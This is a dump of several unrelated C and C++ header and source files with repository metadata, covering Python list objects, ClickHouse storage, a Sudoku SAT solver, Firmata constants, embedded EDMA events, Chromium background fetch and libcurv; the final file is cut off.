*create_OrgApacheXpathFunctionsFuncNumber_init(void); J2OBJC_TYPE_LITERAL_HEADER(OrgApacheXpathFunctionsFuncNumber) #endif #if __has_feature(nullability) #pragma clang diagnostic pop #endif #pragma clang diagnostic pop #pragma pop_macro("INCLUDE_ALL_OrgApacheXpathFunctionsFuncNumber")
34.345679
169
0.852983
077a165be9ba4fcecf66edc563aeffd54fc41f21
534
h
C
echo/python/Include/listobject.h
jtauber/cleese
9dd83707947b86316ec670ed48912670e0c4c38c
[ "MIT" ]
117
2015-01-07T00:05:01.000Z
2022-01-29T08:35:27.000Z
echo/python/Include/listobject.h
jtauber/cleese
9dd83707947b86316ec670ed48912670e0c4c38c
[ "MIT" ]
3
2018-11-20T03:53:29.000Z
2021-02-28T02:12:06.000Z
echo/python/Include/listobject.h
jtauber/cleese
9dd83707947b86316ec670ed48912670e0c4c38c
[ "MIT" ]
15
2015-04-08T21:23:58.000Z
2021-07-10T17:07:09.000Z
/* List object interface */ #ifndef Py_LISTOBJECT_H #define Py_LISTOBJECT_H typedef struct { PyObject_VAR_HEAD PyObject **ob_item; } PyListObject; PyAPI_DATA(PyTypeObject) PyList_Type; #define PyList_CheckExact(op) ((op)->ob_type == &PyList_Type) /* Macro, trading safety for speed */ #define PyList_GET_ITEM(op, i) (((PyListObject *)(op))->ob_item[i]) #define PyList_SET_ITEM(op, i, v) (((PyListObject *)(op))->ob_item[i] = (v)) #define PyList_GET_SIZE(op) (((PyListObject *)(op))->ob_size) #endif /* !Py_LISTOBJECT_H */
24.272727
76
0.71161
079d0aefd109c3ea31dabbffeabff3861b395abf
2,991
h
C
dbms/src/Databases/DatabaseOnDisk.h
sunadm/ClickHouse
55903fbe23ef6dff8fc7ec25ae68e04919bc9b7f
[ "Apache-2.0" ]
7
2021-02-26T04:34:22.000Z
2021-12-31T08:15:47.000Z
dbms/src/Databases/DatabaseOnDisk.h
sunadm/ClickHouse
55903fbe23ef6dff8fc7ec25ae68e04919bc9b7f
[ "Apache-2.0" ]
1
2019-10-13T16:06:13.000Z
2019-10-13T16:06:13.000Z
dbms/src/Databases/DatabaseOnDisk.h
sunadm/ClickHouse
55903fbe23ef6dff8fc7ec25ae68e04919bc9b7f
[ "Apache-2.0" ]
3
2020-02-24T12:57:54.000Z
2021-10-04T13:29:00.000Z
#pragma once #include <Common/escapeForFileName.h> #include <Common/quoteString.h> #include <Databases/DatabasesCommon.h> #include <Interpreters/Context.h> #include <Parsers/ASTCreateQuery.h> #include <Storages/IStorage.h> namespace DB { std::pair<String, StoragePtr> createTableFromAST( ASTCreateQuery ast_create_query, const String & database_name, const String & table_data_path_relative, Context & context, bool has_force_restore_data_flag); /** Get the string with the table definition based on the CREATE query. * It is an ATTACH query that you can execute to create a table from the correspondent database. * See the implementation. */ String getObjectDefinitionFromCreateQuery(const ASTPtr & query); /* Class to provide basic operations with tables when metadata is stored on disk in .sql files. */ class DatabaseOnDisk : public DatabaseWithOwnTablesBase { public: DatabaseOnDisk(const String & name, const String & metadata_path_, const String & logger) : DatabaseWithOwnTablesBase(name, logger) , metadata_path(metadata_path_) , data_path("data/" + escapeForFileName(database_name) + "/") {} void createTable( const Context & context, const String & table_name, const StoragePtr & table, const ASTPtr & query) override; void removeTable( const Context & context, const String & table_name) override; void renameTable( const Context & context, const String & table_name, IDatabase & to_database, const String & to_table_name, TableStructureWriteLockHolder & lock) override; ASTPtr getCreateDatabaseQuery(const Context & context) const override; void drop(const Context & context) override; String getObjectMetadataPath(const String & object_name) const override; time_t getObjectMetadataModificationTime(const String & object_name) const override; String getDataPath() const override { return data_path; } String getTableDataPath(const String & table_name) const override { return data_path + escapeForFileName(table_name) + "/"; } String getTableDataPath(const ASTCreateQuery & query) const override { return getTableDataPath(query.table); } String getMetadataPath() const override { return metadata_path; } protected: using IteratingFunction = std::function<void(const String &)>; void iterateMetadataFiles(const Context & context, const IteratingFunction & iterating_function) const; ASTPtr getCreateTableQueryImpl( const Context & context, const String & table_name, bool throw_on_error) const override; ASTPtr parseQueryFromMetadata(const Context & context, const String & metadata_file_path, bool throw_on_error = true, bool remove_empty = false) const; ASTPtr getCreateQueryFromMetadata(const Context & context, const String & metadata_path, bool throw_on_error) const; const String metadata_path; const String data_path; }; }
34.77907
155
0.738549
c40d62270ad0755a21aee01645447d3216ac34d8
408
c
C
asm/examples/readt.c
icefoxen/lang
628185020123aabe4753f96c6ab4378637a2dbf5
[ "MIT" ]
null
null
null
asm/examples/readt.c
icefoxen/lang
628185020123aabe4753f96c6ab4378637a2dbf5
[ "MIT" ]
null
null
null
asm/examples/readt.c
icefoxen/lang
628185020123aabe4753f96c6ab4378637a2dbf5
[ "MIT" ]
null
null
null
/* * file: readt.c * This program tests the 32-bit read_doubles() assembly procedure. * It reads the doubles from stdin. * (Use redirection to read from file.) */ #include <stdio.h> extern int read_doubles( FILE *, double *, int ); #define MAX 100 int main() { int i,n; double a[MAX]; n = read_doubles(stdin, a, MAX); for( i=0; i < n; i++ ) printf("%3d %g\n", i, a[i]); return 0; }
16.32
67
0.607843
b87892020d760fe05dd2878de8be0692c2f76d6b
6,563
h
C
platform/am335x/ti/include/armv7a/c6a811x/edma_event.h
pablomarx/lk
18ee4cca67af7b49813f0c666097242fb0605336
[ "MIT" ]
9
2017-11-10T15:54:02.000Z
2021-04-15T20:57:29.000Z
platform/am335x/ti/include/armv7a/c6a811x/edma_event.h
pablomarx/lk
18ee4cca67af7b49813f0c666097242fb0605336
[ "MIT" ]
6
2015-01-29T09:41:20.000Z
2015-12-11T12:05:31.000Z
platform/am335x/ti/include/armv7a/c6a811x/edma_event.h
pablomarx/lk
18ee4cca67af7b49813f0c666097242fb0605336
[ "MIT" ]
7
2018-01-08T02:53:32.000Z
2020-10-15T13:01:46.000Z
/** * \file edma_event.h * * \brief EDMA event enumeration */ /* Copyright (C) 2012 Texas Instruments Incorporated - http://www.ti.com/ * ALL RIGHTS RESERVED */ #ifndef _EDMAEVENT_H #define _EDMAEVENT_H #include "hw_types.h" #ifdef __cplusplus extern "C" { #endif /**************************************************************************** ** MACRO DEFINITIONS ****************************************************************************/ /********************* Direct Mapped Events ********************************/ /* McASP0 Events */ #define EDMA3_CHA_McASP0_TX 8 #define EDMA3_CHA_McASP0_RX 9 /* McASP1 Events */ #define EDMA3_CHA_McASP1_TX 10 #define EDMA3_CHA_McASP1_RX 11 /* McASP2 Events */ #define EDMA3_CHA_McASP2_TX 12 #define EDMA3_CHA_McASP2_RX 13 /* McASP3 Events */ #define EDMA3_CHA_McASP3_TX 56 #define EDMA3_CHA_McASP3_RX 57 /* McASP4 Events */ #define EDMA3_CHA_McASP4_TX 62 #define EDMA3_CHA_McASP4_RX 63 /* McBSP Events */ #define EDMA3_CHA_McBSP_TX 14 #define EDMA3_CHA_McBSP_RX 15 /* PCIe Events */ #define EDMA3_CHA_PCIe_TX 54 #define EDMA3_CHA_PCIe_RX 55 /* SD0 Events */ #define EDMA3_CHA_SD0_TX 24 #define EDMA3_CHA_SD0_RX 25 /* SD1 Events */ #define EDMA3_CHA_SD1_TX 2 #define EDMA3_CHA_SD1_RX 3 /* UART0 Events */ #define EDMA3_CHA_UART0_TX 26 #define EDMA3_CHA_UART0_RX 27 /* UART1 Events */ #define EDMA3_CHA_UART1_TX 28 #define EDMA3_CHA_UART1_RX 29 /* UART2 Events */ #define EDMA3_CHA_UART2_TX 30 #define EDMA3_CHA_UART2_RX 31 /* TIMER Events */ #define EDMA3_CHA_TIMER4 48 #define EDMA3_CHA_TIMER5 49 #define EDMA3_CHA_TIMER6 50 #define EDMA3_CHA_TIMER7 51 /* SPI0 Events */ #define EDMA3_CHA_SPI0_CH0_TX 16 #define EDMA3_CHA_SPI0_CH0_RX 17 #define EDMA3_CHA_SPI0_CH1_TX 18 #define EDMA3_CHA_SPI0_CH1_RX 19 #define EDMA3_CHA_SPI0_CH2_TX 20 #define EDMA3_CHA_SPI0_CH2_RX 21 #define EDMA3_CHA_SPI0_CH3_TX 22 #define EDMA3_CHA_SPI0_CH3_RX 23 /* SPI1 Events */ #define EDMA3_CHA_SPI1_CH0_TX 42 #define EDMA3_CHA_SPI1_CH0_RX 43 #define EDMA3_CHA_SPI1_CH1_TX 44 #define EDMA3_CHA_SPI1_CH1_RX 45 /* I2C0 Events */ #define EDMA3_CHA_I2C0_TX 58 #define EDMA3_CHA_I2C0_RX 59 /* I2C1 Events */ #define EDMA3_CHA_I2C1_TX 60 #define EDMA3_CHA_I2C1_RX 61 /* GPMC Events */ #define EDMA3_CHA_GPMC 52 /* DCAN0 Events */ #define EDMA3_CHA_DCAN0_IF1 40 #define EDMA3_CHA_DCAN0_IF2 41 #define EDMA3_CHA_DCAN0_IF3 47 /********************** Cross Mapped Events ********************************/ /* TBD */ /********************** Event Mux Values ***********************************/ /* Default Event */ #define EDMA3_MUX_Default 0 /* McASP5 Events */ #define EDMA3_MUX_McASP5_TX 26 #define EDMA3_MUX_McASP5_RX 27 /* GPIO4 Events */ #define EDMA3_MUX_GPIO4 49 /* GPIO5 Events */ #define EDMA3_MUX_GPIO5 50 /* ADCFIFO Events */ #define EDMA3_MUX_ADCFIFO 32 #define EDMA3_MUX_ADCFIFO1 33 /* eHRPWM_EVT0 Events */ #define EDMA3_MUX_eHRPWM_EVT0 37 /* eHRPWM_EVT1 Events */ #define EDMA3_MUX_eHRPWM_EVT1 38 /* eHRPWM_EVT2 Events */ #define EDMA3_MUX_eHRPWM_EVT2 39 /* eQEP_EVT0 Events */ #define EDMA3_MUX_eQEP_EVT0 40 /* eQEP_EVT1 Events */ #define EDMA3_MUX_eQEP_EVT1 41 /* eQEP_EVT2 Events */ #define EDMA3_MUX_eQEP_EVT2 42 /* PRUSSv2 Events */ #define EDMA3_MUX_PRU1HST7 43 #define EDMA3_MUX_PRU1HST6 44 /* SD2 Events */ #define EDMA3_MUX_SD2_TX 1 #define EDMA3_MUX_SD2_RX 2 /* TIMER1 Events */ #define EDMA3_MUX_TIMER1 23 /* TIMER2 Events */ #define EDMA3_MUX_TIMER2 24 /* TIMER3 Events */ #define EDMA3_MUX_TIMER3 25 /* UART3 Events */ #define EDMA3_MUX_UART3_TX 7 #define EDMA3_MUX_UART3_RX 8 /* UART4 Events */ #define EDMA3_MUX_UART4_TX 9 #define EDMA3_MUX_UART4_RX 10 /* UART5 Events */ #define EDMA3_MUX_UART5_TX 11 #define EDMA3_MUX_UART5_RX 12 /* UART6 Events */ #define EDMA3_MUX_UART6_TX 45 #define EDMA3_MUX_UART6_RX 46 /* UART7 Events */ #define EDMA3_MUX_UART7_TX 47 #define EDMA3_MUX_UART7_RX 48 /* External EDMA Events */ #define EDMA3_MUX_EDMA_EVT0 28 #define EDMA3_MUX_EDMA_EVT1 29 #define EDMA3_MUX_EDMA_EVT2 30 #define EDMA3_MUX_EDMA_EVT3 31 /* SPI2 Events */ #define EDMA3_MUX_SPI2_CH0_TX 16 #define EDMA3_MUX_SPI2_CH0_RX 17 #define EDMA3_MUX_SPI2_CH1_TX 18 #define EDMA3_MUX_SPI2_CH1_RX 19 /* SPI3 Events */ #define EDMA3_MUX_SPI3_CH0_TX 20 #define EDMA3_MUX_SPI3_CH0_RX 21 /* I2C2 Events */ #define EDMA3_MUX_I2C2_TX 3 #define EDMA3_MUX_I2C2_RX 4 /* I2C3 Events */ #define EDMA3_MUX_I2C3_TX 5 #define EDMA3_MUX_I2C3_RX 6 /* DCAN1 Events */ #define EDMA3_MUX_DCAN1_IF1 13 #define EDMA3_MUX_DCAN1_IF2 14 #define EDMA3_MUX_DCAN1_IF3 15 /* eCAP_EVT0 Events */ #define EDMA3_MUX_eCAP_EVT0 34 /* eCAP_EVT1 Events */ #define EDMA3_MUX_eCAP_EVT1 35 /* eCAP_EVT2 Events */ #define EDMA3_MUX_eCAP_EVT2 36 #ifdef __cplusplus } #endif #endif
31.552885
77
0.525369
d45190f76f938892496584fd0ca761bbf664b262
3,984
h
C
Sudoku/SudokuQt/cnf.h
SleepyLGod/Miscellaneous
1e4e1d5b915de9e2c4a6240f4940e9eeabe7e943
[ "Apache-2.0" ]
1
2021-09-06T12:22:59.000Z
2021-09-06T12:22:59.000Z
Sudoku/SudokuQt/cnf.h
SleepyLGod/GitRepository_lhd
e41db820a2b7f1efc109a9d23002d6ebb7785b10
[ "Apache-2.0" ]
null
null
null
Sudoku/SudokuQt/cnf.h
SleepyLGod/GitRepository_lhd
e41db820a2b7f1efc109a9d23002d6ebb7785b10
[ "Apache-2.0" ]
null
null
null
#ifndef CNF_H #define CNF_H #include <stdio.h> #include <stdlib.h> #include <string.h> #include <qstring.h> #include <qdebug.h> #include <qtextcodec.h> #include <QTextCodec> #define TRUE 1 #define FALSE 0 #define OK 1 #define ERROR 0 #define INFEASTABLE -1 #define OVERFLOW -2 #define INCREASEMENT 100 #define SUDOKU_LENGTH 9 #define SUDOKU_BOX 729 typedef int status; /* 定义子句链表结点结构类型 */ typedef struct Clause { int literal; // 记录子句中的文字 int flag; // 标记该文字是否已被删除,未删除时值为0,否则值为使之删除的变元序号 struct Clause *nextl; // 指向该子句中下一文字的指针 struct Clause *litline; // 指向整个CNF公式邻接链表中下一个文字相同的子句结点 } Clause; /* 定义CNF范式链表结点(即子句链表头结点)结构类型 */ typedef struct Paradigm { int number; // 子句中显示的文字数 int flag; // 标记该子句是否已被删除,未删除时值为0,否则值为使之删除的变元序号 struct Paradigm *nextc; // 指向下一子句的头结点 struct Clause *sentence; // 子句头指针 } Paradigm; /* 定义CNF范式链表头结点类型,存储CNF范式信息 */ typedef struct Root { int litsize; // 存储文字数量 int parasize; // 存储子句数量 Paradigm *first; // 指向第一个子句 } Root; /* 定义指向子句链表头结点的指针链表结点结构类型 */ typedef struct Paraline { Paradigm *claline; // 指向子句链表头结点Paradigm struct Paraline *next; // 指向下一链表结点 } Paraline; /* 定义文字相关信息链表结构类型 */ typedef struct LitTrabverse { Paraline *Tra_cla; // 指向含有该正文字或负文字的子句头结点链表的头结点 Clause *Tra_lit; // 指向该正文字或负文字的文字结点 } LitTrabverse; /* 定义求解数独文件时所需的存储变元信息结构类型 */ typedef struct sudokusolver { int x; // 存储行信息 int y; // 存储列信息 int z; // 存储变元对应1~9数值信息 } sudokusolver; /* 定义存储变元信息的变元线性表结点结构类型 */ typedef struct ArgueValue { int Value; // 变元的真值 int IsInit; // 变元是否已赋值 int Occur_times; // 变元在所有子句中出现的总次数 LitTrabverse Pos; // 变元所有正文字的相关信息结构 LitTrabverse Neg; // 变元所有负文字的相关信息结构 sudokusolver xyz; // 求解数独文件时所需的变元信息 } ArgueValue; typedef struct { int number; // 变元在CNF范式中出现次数 int amount; // 出现次数为number的不同变元总数 } Frequent; typedef struct { int *amount; // 对不同的次数,出现次数相同的变元数量相同的数目 int totalvariety; // *amount不同的总数 } SameFre_AmountList; typedef struct { int argue; // 记录真值设为1的文字 int flag; // 记录是否已经测试过argue的反文字的真值 } mainstack; // 非递归式DPLL中记录每次设为1的文字的栈结构 status CreateParadigm(FILE **fp); // 创建CNF范式邻接链表及变元表 status CreateClause(FILE **fp,Clause **sentence,Paradigm *ClausHead,int first); // 创建子句链表及文字链表 status DestroyParadigm(Root *r); // 销毁所有链表及线性表结构 status HasUnitClause(Root *r); // 判断CNF范式中是否还含有单子句 Clause * HasUnitClause_Before(Root *r); // 判断CNF范式中是否还含有单子句(优化前版本) status isUnitClause(Paradigm *c); // 判断指针c指向的子句链表是否为单子句链表 /* 在整个CNF公式中取一个文字 */ status FindLiteral1(Root *r); // 取每次DPLL处理后公式中Occur_Times最大的文字 status FindLiteral2(Root *r); // 取原公式中Occur_Times最大的文字 status FindLiteral3(Root *r); // 取子句中第一个flag为0的文字 status FindLiteral4(Root *r); // 取ValueList正序第一个IsInit=0的变元正文字 Clause * FindLiteral_Before(Root *r); // 在整个CNF公式中取一个文字(优化前版本) status DeleteClause(Root *r,int l); // 删除出现了文字l的所有单子句 status AddClause(Root *r,int l); // 在CNF范式邻接链表表头添加只含有文字l的单子句链表 status RemoveHeadClaus(Root *r,int l); // 删除CNF范式邻接链表中从表头开始第一个只含有文字l的单子句链表 status DeleteLiteral(Root *r,int l); // 删除所有文字为-l的子句链表结点 status RecoverCNF(Root *r,int l); // 恢复认为文字l为真时对CNF范式邻接链表所作的操作 QString ParadigmTrabverse(Root *r); // 遍历CNF范式邻接链表 status SaveValue(ArgueValue *ValueList,int solut,int time,QString filenameInfo); // 保存CNF范式的解及求解时间信息 status OccurTimeCount(void); // 处理读取的文件中变元出现次数信息,决策DPLL过程中分裂策略的变元选取策略 #endif // CNF_H
31.619048
102
0.615713
c2d481530f6a58374b3199c717db04693af90437
1,951
h
C
Robotron/Source/DirectX9Framework/Network/NetworkEventForwarder.h
ThatBeanBag/Slimfish
7b0f821bccf2cae7d67f8a822f078def7a2d354d
[ "Apache-2.0" ]
null
null
null
Robotron/Source/DirectX9Framework/Network/NetworkEventForwarder.h
ThatBeanBag/Slimfish
7b0f821bccf2cae7d67f8a822f078def7a2d354d
[ "Apache-2.0" ]
null
null
null
Robotron/Source/DirectX9Framework/Network/NetworkEventForwarder.h
ThatBeanBag/Slimfish
7b0f821bccf2cae7d67f8a822f078def7a2d354d
[ "Apache-2.0" ]
null
null
null
// // Bachelor of Software Engineering // Media Design School // Auckland // New Zealand // // (c) 2005 - 2015 Media Design School // // File Name : NetworkEventForwarder.h // Description : CNetworkEventForwarder declaration file. // Author : Hayden Asplet. // Mail : hayden.asplet@mediadesignschool.com // #pragma once #ifndef __NETWORKEVENTFORWARDER_H__ #define __NETWORKEVENTFORWARDER_H__ // Library Includes // Local Includes #include "BaseNetwork.h" struct TAddress; class CNetworkEventForwarder { // Member Functions public: CNetworkEventForwarder(TAddress _address); ~CNetworkEventForwarder(); /** * Adds a listener to events of the template parameter type that will * forward the event to that address of the CNetworkEventForwarder. * * @author: Hayden Asplet * @return: void */ template<typename TEventType> void AddEventForwarder(); /** * Gets the address of the network event forwarder. * * @author: Hayden Asplet * @return: const TAddress */ const TAddress GetAddress() const { return m_address; } /** * Event delegate for all events that are forwarded through the network. * * @author: Hayden Asplet * @param: shared_ptr<IEventData> _pEventData - event data to be sent through the network. * @return: void */ void ForwardEventDelegate(shared_ptr<IEventData> _pEventData); protected: private: // Member Variables public: protected: private: TAddress m_address; // The remote address of where events are to be forwarded to. std::vector<TEventTypeID> m_vecEventTypeIDs; // The type ids of the events the forwarder is listening to, this is use for automatic removal of listeners. }; template<typename TEventType> void CNetworkEventForwarder::AddEventForwarder() { CEventManager::GetInstance()->AddListener<TEventType>(MakeDelegate(this, &CNetworkEventForwarder::ForwardEventDelegate)); m_vecEventTypeIDs.push_back(TEventType::s_kEVENT_TYPE_ID); } #endif // __NETWORKEVENTFORWARDER_H__
25.671053
154
0.758073
dee84079a021a3f45579af2158202309802a3d6d
5,687
h
C
libraries/Firmata/FirmataConstants.h
rlnaveenrm/arduino
0173ad56264b3497862d11d309c46a2cb8dafc23
[ "Unlicense" ]
268
2015-01-07T07:39:04.000Z
2022-02-20T20:22:56.000Z
libraries/Firmata/FirmataConstants.h
rlnaveenrm/arduino
0173ad56264b3497862d11d309c46a2cb8dafc23
[ "Unlicense" ]
243
2015-01-25T15:19:54.000Z
2022-03-28T19:06:43.000Z
libraries/Firmata/FirmataConstants.h
rlnaveenrm/arduino
0173ad56264b3497862d11d309c46a2cb8dafc23
[ "Unlicense" ]
74
2015-01-25T15:00:35.000Z
2021-06-09T10:17:40.000Z
/* FirmataConstants.h Copyright (c) 2006-2008 Hans-Christoph Steiner. All rights reserved. Copyright (C) 2009-2017 Jeff Hoefs. All rights reserved. This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. See file LICENSE.txt for further informations on licensing terms. */ #ifndef FirmataConstants_h #define FirmataConstants_h namespace firmata { /* Version numbers for the Firmata library. * The firmware version will not always equal the protocol version going forward. * Query using the REPORT_FIRMWARE message. */ static const int FIRMWARE_MAJOR_VERSION = 2; static const int FIRMWARE_MINOR_VERSION = 5; static const int FIRMWARE_BUGFIX_VERSION = 7; /* Version numbers for the protocol. The protocol is still changing, so these * version numbers are important. * Query using the REPORT_VERSION message. */ static const int PROTOCOL_MAJOR_VERSION = 2; // for non-compatible changes static const int PROTOCOL_MINOR_VERSION = 5; // for backwards compatible changes static const int PROTOCOL_BUGFIX_VERSION = 1; // for bugfix releases static const int MAX_DATA_BYTES = 64; // max number of data bytes in incoming messages // message command bytes (128-255/0x80-0xFF) static const int DIGITAL_MESSAGE = 0x90; // send data for a digital port (collection of 8 pins) static const int ANALOG_MESSAGE = 0xE0; // send data for an analog pin (or PWM) static const int REPORT_ANALOG = 0xC0; // enable analog input by pin # static const int REPORT_DIGITAL = 0xD0; // enable digital input by port pair // static const int SET_PIN_MODE = 0xF4; // set a pin to INPUT/OUTPUT/PWM/etc static const int SET_DIGITAL_PIN_VALUE = 0xF5; // set value of an individual digital pin // static const int REPORT_VERSION = 0xF9; // report protocol version static const int SYSTEM_RESET = 0xFF; // reset from MIDI // static const int START_SYSEX = 0xF0; // start a MIDI Sysex message static const int END_SYSEX = 0xF7; // end a MIDI Sysex message // extended command set using sysex (0-127/0x00-0x7F) /* 0x00-0x0F reserved for user-defined commands */ static const int SERIAL_DATA = 0x60; // communicate with serial devices, including other boards static const int ENCODER_DATA = 0x61; // reply with encoders current positions static const int SERVO_CONFIG = 0x70; // set max angle, minPulse, maxPulse, freq static const int STRING_DATA = 0x71; // a string message with 14-bits per char static const int STEPPER_DATA = 0x72; // control a stepper motor static const int ONEWIRE_DATA = 0x73; // send an OneWire read/write/reset/select/skip/search request static const int SHIFT_DATA = 0x75; // a bitstream to/from a shift register static const int I2C_REQUEST = 0x76; // send an I2C read/write request static const int I2C_REPLY = 0x77; // a reply to an I2C read request static const int I2C_CONFIG = 0x78; // config I2C settings such as delay times and power pins static const int REPORT_FIRMWARE = 0x79; // report name and version of the firmware static const int EXTENDED_ANALOG = 0x6F; // analog write (PWM, Servo, etc) to any pin static const int PIN_STATE_QUERY = 0x6D; // ask for a pin's current mode and value static const int PIN_STATE_RESPONSE = 0x6E; // reply with pin's current mode and value static const int CAPABILITY_QUERY = 0x6B; // ask for supported modes and resolution of all pins static const int CAPABILITY_RESPONSE = 0x6C; // reply with supported modes and resolution static const int ANALOG_MAPPING_QUERY = 0x69; // ask for mapping of analog to pin numbers static const int ANALOG_MAPPING_RESPONSE = 0x6A; // reply with mapping info static const int SAMPLING_INTERVAL = 0x7A; // set the poll rate of the main loop static const int SCHEDULER_DATA = 0x7B; // send a createtask/deletetask/addtotask/schedule/querytasks/querytask request to the scheduler static const int SYSEX_NON_REALTIME = 0x7E; // MIDI Reserved for non-realtime messages static const int SYSEX_REALTIME = 0x7F; // MIDI Reserved for realtime messages // pin modes static const int PIN_MODE_INPUT = 0x00; // same as INPUT defined in Arduino.h static const int PIN_MODE_OUTPUT = 0x01; // same as OUTPUT defined in Arduino.h static const int PIN_MODE_ANALOG = 0x02; // analog pin in analogInput mode static const int PIN_MODE_PWM = 0x03; // digital pin in PWM output mode static const int PIN_MODE_SERVO = 0x04; // digital pin in Servo output mode static const int PIN_MODE_SHIFT = 0x05; // shiftIn/shiftOut mode static const int PIN_MODE_I2C = 0x06; // pin included in I2C setup static const int PIN_MODE_ONEWIRE = 0x07; // pin configured for 1-wire static const int PIN_MODE_STEPPER = 0x08; // pin configured for stepper motor static const int PIN_MODE_ENCODER = 0x09; // pin configured for rotary encoders static const int PIN_MODE_SERIAL = 0x0A; // pin configured for serial communication static const int PIN_MODE_PULLUP = 0x0B; // enable internal pull-up resistor for pin static const int PIN_MODE_IGNORE = 0x7F; // pin configured to be ignored by digitalWrite and capabilityResponse static const int TOTAL_PIN_MODES = 13; } // namespace firmata #endif // FirmataConstants_h
58.030612
145
0.718832
a6e598c90cee34f2c036117072c248ecbd7ceb27
4,748
h
C
src/content/browser/background_fetch/background_fetch_job_controller.h
yang-guangliang/osv-free
b81fee48bc8898fdc641a2e3c227957ed7e6445e
[ "Apache-2.0" ]
2
2021-05-24T13:52:28.000Z
2021-05-24T13:53:10.000Z
src/content/browser/background_fetch/background_fetch_job_controller.h
yang-guangliang/osv-free
b81fee48bc8898fdc641a2e3c227957ed7e6445e
[ "Apache-2.0" ]
null
null
null
src/content/browser/background_fetch/background_fetch_job_controller.h
yang-guangliang/osv-free
b81fee48bc8898fdc641a2e3c227957ed7e6445e
[ "Apache-2.0" ]
3
2018-03-12T07:58:10.000Z
2019-08-31T04:53:58.000Z
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CONTENT_BROWSER_BACKGROUND_FETCH_BACKGROUND_FETCH_JOB_CONTROLLER_H_ #define CONTENT_BROWSER_BACKGROUND_FETCH_BACKGROUND_FETCH_JOB_CONTROLLER_H_ #include <memory> #include <string> #include <unordered_map> #include "base/callback.h" #include "base/macros.h" #include "base/memory/weak_ptr.h" #include "content/browser/background_fetch/background_fetch_registration_id.h" #include "content/browser/background_fetch/background_fetch_request_info.h" #include "content/common/background_fetch/background_fetch_types.h" #include "content/common/content_export.h" #include "content/public/browser/browser_thread.h" #include "net/traffic_annotation/network_traffic_annotation.h" namespace net { class URLRequestContextGetter; } namespace content { class BackgroundFetchDataManager; class BrowserContext; // The JobController will be responsible for coordinating communication with the // DownloadManager. It will get requests from the DataManager and dispatch them // to the DownloadManager. It lives entirely on the IO thread. class CONTENT_EXPORT BackgroundFetchJobController { public: enum class State { INITIALIZED, FETCHING, ABORTED, COMPLETED }; using CompletedCallback = base::OnceCallback<void(BackgroundFetchJobController*)>; BackgroundFetchJobController( const BackgroundFetchRegistrationId& registration_id, const BackgroundFetchOptions& options, BackgroundFetchDataManager* data_manager, BrowserContext* browser_context, scoped_refptr<net::URLRequestContextGetter> request_context, CompletedCallback completed_callback); ~BackgroundFetchJobController(); // Starts fetching the |initial_fetches|. The controller will continue to // fetch new content until all requests have been handled. void Start( std::vector<scoped_refptr<BackgroundFetchRequestInfo>> initial_requests, const net::NetworkTrafficAnnotationTag& traffic_annotation); // Updates the representation of this Background Fetch in the user interface // to match the given |title|. void UpdateUI(const std::string& title); // Immediately aborts this Background Fetch by request of the developer. void Abort(); // Returns the current state of this Job Controller. State state() const { return state_; } // Returns the registration id for which this job is fetching data. const BackgroundFetchRegistrationId& registration_id() const { return registration_id_; } // Returns the options with which this job is fetching data. const BackgroundFetchOptions& options() const { return options_; } private: class Core; // Requests the download manager to start fetching |request|. void StartRequest(scoped_refptr<BackgroundFetchRequestInfo> request, const net::NetworkTrafficAnnotationTag& traffic_annotation); // Called when the given |request| has started fetching, after having been // assigned the |download_guid| by the download system. void DidStartRequest(scoped_refptr<BackgroundFetchRequestInfo> request, const std::string& download_guid); // Called when the given |request| has been completed. void DidCompleteRequest(scoped_refptr<BackgroundFetchRequestInfo> request); // Called when a completed download has been marked as such in the DataManager // and the next request, if any, has been read from storage. void DidGetNextRequest(scoped_refptr<BackgroundFetchRequestInfo> request); // The registration id on behalf of which this controller is fetching data. BackgroundFetchRegistrationId registration_id_; // Options for the represented background fetch registration. BackgroundFetchOptions options_; // The current state of this Job Controller. State state_ = State::INITIALIZED; // Inner core of this job controller which lives on the UI thread. std::unique_ptr<Core, BrowserThread::DeleteOnUIThread> ui_core_; base::WeakPtr<Core> ui_core_ptr_; // The DataManager's lifetime is controlled by the BackgroundFetchContext and // will be kept alive until after the JobController is destroyed. BackgroundFetchDataManager* data_manager_; // Number of outstanding acknowledgements we still expect to receive. int pending_completed_file_acknowledgements_ = 0; // Callback for when all fetches have been completed. CompletedCallback completed_callback_; base::WeakPtrFactory<BackgroundFetchJobController> weak_ptr_factory_; DISALLOW_COPY_AND_ASSIGN(BackgroundFetchJobController); }; } // namespace content #endif // CONTENT_BROWSER_BACKGROUND_FETCH_BACKGROUND_FETCH_JOB_CONTROLLER_H_
38.290323
80
0.788753
07301102899d1a9a32738fd3d534b53dca143837
28,766
h
C
libcurv/meanings.h
curv3d/curv
f3b7a0045b681df86ec25f1f97c4e6feb7dd5c6a
[ "Apache-2.0" ]
921
2019-01-13T18:47:47.000Z
2022-03-28T03:36:18.000Z
libcurv/meanings.h
curv3d/curv
f3b7a0045b681df86ec25f1f97c4e6feb7dd5c6a
[ "Apache-2.0" ]
93
2019-01-11T15:35:01.000Z
2022-01-14T17:42:05.000Z
libcurv/meanings.h
curv3d/curv
f3b7a0045b681df86ec25f1f97c4e6feb7dd5c6a
[ "Apache-2.0" ]
59
2019-01-20T09:37:59.000Z
2022-02-17T15:12:10.000Z
// Copyright 2016-2021 Doug Moen // Licensed under the Apache License, version 2.0 // See accompanying file LICENSE or https://www.apache.org/licenses/LICENSE-2.0 #ifndef LIBCURV_MEANINGS_H #define LIBCURV_MEANINGS_H #include <libcurv/function.h> #include <libcurv/list.h> #include <libcurv/meaning.h> #include <libcurv/pattern.h> #include <libcurv/record.h> #include <libcurv/tail_array.h> #include <vector> namespace curv { // Execute statements in a context like a `do` expression, // where only pure actions are permitted. struct Action_Executor : public Operation::Executor { virtual void push_value(Value, const Context&) override; virtual void push_field(Symbol_Ref, Value, const Context&) override; }; // Execute statements within a list comprehension. struct List_Executor : public Operation::Executor { List_Builder& list_; List_Executor(List_Builder& list) : list_(list) {} virtual void push_value(Value, const Context&) override; virtual void push_field(Symbol_Ref, Value, const Context&) override; }; // Execute statements within a record comprehension. struct Record_Executor : public Operation::Executor { DRecord& record_; Record_Executor(DRecord& rec) : record_(rec) {} virtual void push_value(Value, const Context&) override; virtual void push_field(Symbol_Ref, Value, const Context&) override; }; // `Just_Expression` is an implementation class, inherited by Operation // classes whose instances are always expressions. It 